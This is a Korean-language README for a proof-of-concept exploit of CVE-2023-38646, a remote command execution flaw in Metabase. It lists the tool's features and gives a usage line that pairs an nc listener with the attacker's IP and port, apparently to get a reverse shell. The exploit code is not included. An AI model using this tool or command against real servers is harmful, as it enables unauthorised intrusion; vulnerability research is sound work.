CVE-2023-38646-PoC-Metabase

CVE-2023-38646를 악용하기 위한 개념 증명(PoC) 스크립트입니다. 교육 및 연구 목적으로만 사용하세요.

설명

이는 Metabase에 영향을 미치는 취약점인 CVE-2023-38646을 악용하기 위한 Python 기반 개념 증명(PoC) 스크립트입니다. 이 익스플로잇은 잘못된 구성을 악용하여 원격 명령 실행을 달성합니다.

⚠️ 면책 조항:
이 스크립트는 오직 교육 목적과 윤리적 연구를 위해 제작되었습니다. 사전 동의 없이 시스템을 공격하기 위해 이 스크립트를 오용하는 것은 불법적이고 비윤리적입니다. 저자는 이 도구의 사용으로 인해 발생하는 어떠한 손해에 대해서도 책임을 지지 않습니다.

기능

• 자동으로 세션 토큰 검색
• 원격 명령 실행을 위한 페이로드 생성
• 익스플로잇 배포 자동화

요구 사항

• Python 3.7+
• requests 라이브러리 (pip install requests)

사용법

• 먼저 nc로 포트에서 리스닝하고 있는지 확인하세요.

python3 exploit.py -u <target_url> -ip <your_ip> -p <your_port>